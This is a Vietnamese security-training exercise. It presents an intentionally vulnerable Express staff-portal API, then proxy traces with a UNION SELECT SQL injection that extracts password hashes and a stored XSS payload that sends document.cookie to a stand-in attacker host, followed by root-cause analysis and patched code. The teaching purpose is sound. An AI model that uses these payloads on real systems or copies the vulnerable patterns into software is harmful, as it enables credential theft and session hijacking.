Thực hành: Audit mã nguồn và HTTP trace phát hiện lỗi sơ cấp
Thử thách độc lập: Đọc hiểu mã nguồn một backend API và raw HTTP requests, xác định vị trí tồn tại lỗi XSS, SQLi, IDOR và đề xuất mã vá chuẩn kiến trúc.
TL;DR: Thử thách này đặt bạn vào vai trò của một chuyên viên đánh giá bảo mật mã nguồn (white-box auditor). Bạn được cung cấp một đoạn mã controller và service của một tính năng quản lý hồ sơ nhân viên, kèm theo lịch sử gói tin HTTP thu thập được từ proxy. Trong đoạn code ngắn này ẩn chứa ba điểm mù bảo mật nghiêm trọng: một điểm ghép chuỗi câu lệnh SQL ngây thơ, một điểm xuất trực tiếp ghi chú người dùng vào HTML mà không mã hóa, và một endpoint cập nhật trạng thái thiếu kiểm tra quyền sở hữu đối tượng. Nhiệm vụ của bạn là chỉ ra nguyên nhân gốc rễ (Root Cause) của từng lỗi và viết lại đoạn mã đã được vá triệt để theo kiến trúc an toàn.
1. Kịch bản thẩm định: Hệ thống quản lý nhân sự StaffPortal
Bạn tiếp nhận một module mã nguồn xử lý tính năng tra cứu và cập nhật hồ sơ năng lực nhân viên. Dưới đây là đoạn mã Node.js Express của hai API endpoints chính:
// Express routes - staff-portal.js
import express from 'express';
import { dbPool } from './db.js';
const router = express.Router();
// Middleware kiem tra dang nhap don gian
function requireAuth(req, res, next) {
if (!req.session || !req.session.userId) {
return res.status(401).json({ error: 'Unauthorized' });
}
next();
}
// 1. Endpoint tra cuu ho so nhan vien theo phong ban
router.get('/api/staff/search', requireAuth, async (req, res) => {
const department = req.query.dept;
// Ghep chuoi truc tiep tao cau truy van SQL
const sql = "SELECT id, full_name, email, note FROM employees WHERE dept = '" + department + "'";
const result = await dbPool.query(sql);
// Render HTML truc tiep ket qua tra ve
let html = '<ul>';
for (const emp of result.rows) {
html += '<li>' + emp.full_name + ' (' + emp.email + ') - ' + emp.note + '</li>';
}
html += '</ul>';
res.setHeader('Content-Type', 'text/html');
return res.send(html);
});
// 2. Endpoint cap nhat danh gia nang luc nhan vien
router.post('/api/staff/review', requireAuth, async (req, res) => {
const { employeeId, reviewScore, comments } = req.body;
// Cap nhat truc tiep theo employeeId client gui len
await dbPool.query(
'UPDATE employees SET score = $1, note = $2 WHERE id = $3',
[reviewScore, comments, employeeId]
);
return res.json({ success: true });
});
export default router;
2. Gói tin HTTP Trace ghi nhận được từ Proxy
Đội ngũ an ninh mạng đã chặn bắt được hai gói tin HTTP đáng ngờ gửi tới hệ thống:
Gói tin Trace A:
GET /api/staff/search?dept=IT%27%20UNION%20SELECT%20id,%20username,%20password_hash,%20secret_token%20FROM%20users-- HTTP/1.1
Host: staffportal.company.internal
Cookie: session_id=SESSION_STAFF_101
Gói tin Trace B:
POST /api/staff/review HTTP/1.1
Host: staffportal.company.internal
Cookie: session_id=SESSION_STAFF_101
Content-Type: application/json
{
"employeeId": 9999,
"reviewScore": 10,
"comments": "<img src=x onerror=fetch('https://c2.attacker.com/steal?c='+document.cookie)>"
}
Hãy thử tài phán đoán của bạn trước khi xem phân tích chi tiết:
Gói tin Trace B kết hợp với Endpoint 1 sẽ tạo thành chuỗi tấn công nguy hiểm nào?
3. Phân tích 3 lỗi bảo mật cốt lõi

Hình 3.5: Chuỗi khai thác kết hợp giữa IDOR, Stored XSS và rò rỉ phiên làm việc trong hệ thống StaffPortal.
Dưới sự soi chiếu của kiến thức từ 01-threat-modeling-va-mo-hinh-stride đến 04-idor-so-cap-va-rbac, đoạn mã trên chứa trọn vẹn 3 khiếm khuyết cơ bản:
Lỗi 1: SQL Injection (Endpoint 1)
- Vị trí:
const sql = "SELECT ... WHERE dept = '" + department + "'"; - Nguyên nhân gốc rễ (Root Cause): Ghép chuỗi trực tiếp dữ liệu từ
req.query.deptvào câu lệnh SQL. Như đã học ở bài 03-classic-sqli-va-co-che-lexer, ký tự'của hacker trong Gói tin A đóng sớm chuỗi literal, biến mệnh đềUNION SELECTthành cú pháp hợp lệ của Lexer, trích xuất toàn bộ bảng băm mật khẩuusers.
Lỗi 2: Stored Cross-Site Scripting (Endpoint 1)
- Vị trí:
html += '<li>' + emp.full_name + ... + emp.note + '</li>'; - Nguyên nhân gốc rễ (Root Cause): Thiếu cơ chế Context-Aware Output Encoding như đã phân tích ở 02-xss-so-cap-reflected-va-stored. Thuộc tính
emp.notedo người dùng đưa vào được cộng thẳng vào chuỗi HTML phản hồi mà không qua hàm encode entity, khiến thẻ<img>với sự kiệnonerrorkích hoạt JavaScript ngay lập tức.
Lỗi 3: Insecure Direct Object References / BOLA (Endpoint 2)
- Vị trí:
WHERE id = $3, [..., employeeId] - Nguyên nhân gốc rễ (Root Cause): Giống hệt phân tích ở bài 04-idor-so-cap-va-rbac. Endpoint chỉ kiểm tra
requireAuth(đã đăng nhập) nhưng không kiểm tra xem người dùng hiện tại có phải là Trưởng phòng hoặc Quản lý trực tiếp của nhân viênemployeeIdhay không. Bất kỳ nhân viên cấp dưới nào cũng có thể gửi request để sửa điểm và ghi chú đánh giá của đồng nghiệp hoặc cấp trên!
4. Đoạn mã đã được vá chuẩn kiến trúc (Remediation)
Dưới đây là phiên bản mã nguồn đã được tái cấu trúc hoàn toàn an toàn:
// Express routes - staff-portal.safe.js
import express from 'express';
import { dbPool } from './db.js';
const router = express.Router();
// 1. Endpoint tra cuu da duoc parameterize va tra ve JSON chuan
router.get('/api/staff/search', requireAuth, async (req, res) => {
const department = req.query.dept;
// Su dung Parameterized Query chong triet de SQLi
const sql = 'SELECT id, full_name, email, note FROM employees WHERE dept = $1';
const result = await dbPool.query(sql, [department]);
// Tra ve JSON de frontend (React/Vue) tu dong an toan xuat ra DOM
return res.json({ employees: result.rows });
});
// 2. Endpoint cap nhat duoc kiem soat quyen so huu muc doi tuong
router.post('/api/staff/review', requireAuth, async (req, res) => {
const currentUserId = req.session.userId;
const { employeeId, reviewScore, comments } = req.body;
// Kiem tra Object-Level Authorization: Nguoi danh gia phai la quan ly truc tiep
const isManager = await dbPool.query(
'SELECT 1 FROM employees WHERE id = $1 AND manager_id = $2',
[employeeId, currentUserId]
);
if (isManager.rows.length === 0) {
// Luu y: Trong StaffPortal noi bo, 403 bieu thi dung nghia tu choi phan quyen;
// o cac endpoint tra cuu public, uu tien 404 Not Found de chong do quet ID (enumeration).
return res.status(403).json({ error: 'Forbidden: You are not authorized to review this employee' });
}
// Cap nhat an toan sau khi da vuot qua Authorization check
await dbPool.query(
'UPDATE employees SET score = $1, note = $2 WHERE id = $3',
[reviewScore, comments, employeeId]
);
return res.json({ success: true });
});
export default router;
5. Tổng kết
Việc phát hiện và liên kết các lỗ hổng riêng lẻ thành một chuỗi khai thác thực tế (Exploit Chain) là kỹ năng quan trọng nhất của một kỹ sư bảo mật. Hãy luôn nhớ: Một lỗ hổng IDOR tưởng chừng nhỏ bé có thể là bàn đạp đưa payload XSS hoặc SQLi tới đúng vị trí chí mạng nhất của hệ thống.
Bài tiếp theo: 06-tong-ket-module
- Q1Tại sao việc thiết kế API trả về dữ liệu định dạng JSON lại an toàn hơn việc tự nối chuỗi mã HTML trên máy chủ backend?
- Q2Kỹ thuật nào đã bảo vệ Endpoint 2 khỏi nguy cơ bị tấn công SQL Injection?
- Q3Tại sao câu lệnh SQL kiểm tra quyền quản lý 'SELECT 1 FROM employees WHERE id = $1 AND manager_id = $2' lại giải quyết triệt để lỗ hổng IDOR?
- Q4Khái niệm 'Source' và 'Sink' trong phân tích tĩnh và truy vết luồng dữ liệu (Taint Analysis) có ý nghĩa gì?
- Q5Kẻ tấn công sử dụng mệnh đề 'UNION SELECT' trong kỹ thuật SQL Injection nhằm mục đích gì?
- Q6Nếu trang web thiết lập CSP: 'default-src \'self\'', payload XSS chèn vào thẻ img onerror có thể gửi cookie về máy chủ độc hại qua fetch() không?
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
IDOR Sơ cấp: Kiểm soát quyền truy cập mức đối tượng
Bài tiếpTổng kết module Nhập môn Threat Modeling & OWASP Sơ cấp
Thảo luận & góp ý
Hỏi đáp về bài này